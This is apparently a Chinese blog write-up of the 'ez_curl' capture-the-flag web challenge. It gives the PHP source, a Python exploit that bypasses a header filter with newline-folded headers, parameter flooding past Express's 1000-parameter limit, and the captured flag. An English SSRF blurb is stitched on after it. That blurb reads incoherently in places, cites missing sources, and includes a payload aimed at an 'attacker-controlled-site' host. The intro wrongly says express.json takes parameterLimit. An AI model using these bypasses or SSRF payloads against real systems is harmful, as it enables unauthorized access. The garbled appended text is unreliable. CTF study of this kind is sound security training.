【愚公系列】2023年06月 攻防世界-Web(ez_curl)


前言

Express是一个流行的Node.js Web框架,它提供了许多有用的功能来构建Web应用程序。其中之一是参数解析,它允许开发者解析HTTP请求中的参数。Express提供了许多选项来配置参数解析。其中之一是parameterLimit选项。

parameterLimit选项用于指定query string或者request payload的最大数量。默认情况下,它的值是1000。如果你的应用程序需要解析大量的查询字符串或者请求负载,你可能需要增加这个限制。例如,如果你的应用程序需要处理非常长的查询字符串,你可以将parameterLimit设置为一个更高的值。

以下是一个示例,演示如何使用parameterLimit选项来增加query string和request payload的限制:

const express = require('express')
const app = express()

// 将parameterLimit设置为10000
app.use(express.json({ parameterLimit: 10000 }))
app.use(express.urlencoded({ parameterLimit: 10000, extended: true }))

在上面的代码中,我们将parameterLimit设置为10000。这将允许我们解析更大的请求负载和查询字符串。

需要注意的是,如果你将parameterLimit设置为一个非常高的值,可能会导致安全问题。攻击者可以发送恶意请求,包含大量参数,导致服务器崩溃。因此,你应该谨慎地设置参数限制,并确保你的应用程序具有有效的安全措施,以防止此类攻击。

一、ez_curl

1.题目

在这里插入图片描述

2.答题

打开题目发现
在这里插入图片描述

<?php
highlight_file(__FILE__);
$url = 'http://back-end:3000/flag?';
$input = file_get_contents('php://input');
$headers = (array)json_decode($input)->headers;
for($i = 0; $i < count($headers); $i++){
    $offset = stripos($headers[$i], ':');
    $key = substr($headers[$i], 0, $offset);
    $value = substr($headers[$i], $offset + 1);
    if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){
        die('try hard');
    }
}
$params = (array)json_decode($input)->params;
$url .= http_build_query($params);
$url .= '&admin=false';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
try hard1

本体两个知识点分别是:

  • express的parameterLimit默认为1000
  • 根据rfc,header字段可以通过在每一行前面至少加一个SP或HT来扩展到多行

第一点:来自源代码的这一行。结合这篇文章的分析,当我们传入的参数超过1000个时,之后的参数会被舍弃掉。于是这里我们最开始发个"admin":"t"设置好admin的值,加上999个没用的参数,把程序拼接的&admin=false挤掉,即可绕过过滤。

第二点:header 字段可以通过在每一行前面至少加一个SP 或 HT 来扩展到多行。以此绕过对 headers 的过滤

python脚本如下:

import requests
import json
from abc import ABC
from flask.sessions import SecureCookieSessionInterface

url = "http://61.147.171.105:58830/"

datas = {"headers": ["xx:xx\nadmin: true", "Content-Type: application/json"],
         "params": {"admin": "true"}}

for i in range(1020):
    datas["params"]["x" + str(i)] = i

headers = {
    "Content-Type": "application/json"
}
json1 = json.dumps(datas)
print(json1)
resp = requests.post(url, headers=headers, data=json1)

print(resp.content)

在这里插入图片描述

得到flag:CatCTF{23aaaab824aadf15eb19f4236f3e3b51}

03-24
### EZ SSRF Vulnerability and Implementation in Web Applications The term **EZ SSRF (Server-Side Request Forgery)** refers to a specific type of vulnerability where an application is tricked into making unintended requests on behalf of the attacker, often leading to unauthorized access or data leakage. Below is a detailed explanation regarding this issue. #### Understanding EZ SSRF An EZ SSRF vulnerability arises when insufficient validation occurs during URL parsing within server-side code execution logic. For instance, if user input such as URLs can directly influence backend HTTP calls without proper sanitization, it opens up avenues for attackers to exploit internal systems by crafting malicious payloads[^1]. This includes bypassing restrictions through protocols like `gopher` which extend attack surfaces significantly[^3]. To mitigate these risks effectively: - Strictly enforce policies that limit what external resources your service may interact with. - Prohibit any form of interaction between public-facing services and private/internal networks unless absolutely necessary[^2]. When testing potential vulnerabilities related to EZ SSRF, one common technique involves sending crafted inputs designed specifically around known weak points—such as allowing arbitrary domain entries via forms expecting image links from trusted domains only: ```python import requests payload = 'http://example.com/image?url=http://attacker-controlled-site/malicious-resource' response = requests.post('https://vulnerable-app/upload', data={'url': payload}) print(response.text) ``` In some cases involving custom parsers handling special characters improperly due perhaps double encoding issues before being passed onto functions executing actual network operations might also lead towards successful exploitation attempts against poorly secured implementations using methods similar below: ```php <?php // Example demonstrating improper filtering mechanism susceptible to EZ SSRF attacks $url = $_GET['target']; $x = parse_url(urldecode($url)); // Double decoding here could allow unexpected behavior if (!filter_var($x['host'], FILTER_VALIDATE_IP)) { echo file_get_contents($url); } ?> ``` For more advanced scenarios targeting databases accessible internally but not exposed publicly over standard ports etc., specialized tools exist facilitating generation complex queries wrapped inside non-standard URI schemes supported certain libraries e.g., Curl's built-in support multiple protocols including those less commonly used today outside research contexts yet still pose significant threats under particular conditions described earlier references provided above concerning usage patterns observed real-world exploits leveraging them accordingly[^5]. --- §§Related Questions§§ 1. How does implementing strict host whitelisting help prevent EZ SSRF? 2. What are effective strategies for detecting possible SSRF vectors during penetration tests? 3. Can you provide examples illustrating how different programming languages handle URL parsing differently affecting their susceptibility to EZ SSRF? 4. In PHP applications, why would additional layers beyond basic regex checks be required to secure endpoints prone to EZ SSRF abuse? 5. Are there notable differences among cloud providers' metadata APIs relevant considering mitigations needed address modern-day variations seen current trends exploiting SSRFs?
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

愚公搬代码

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值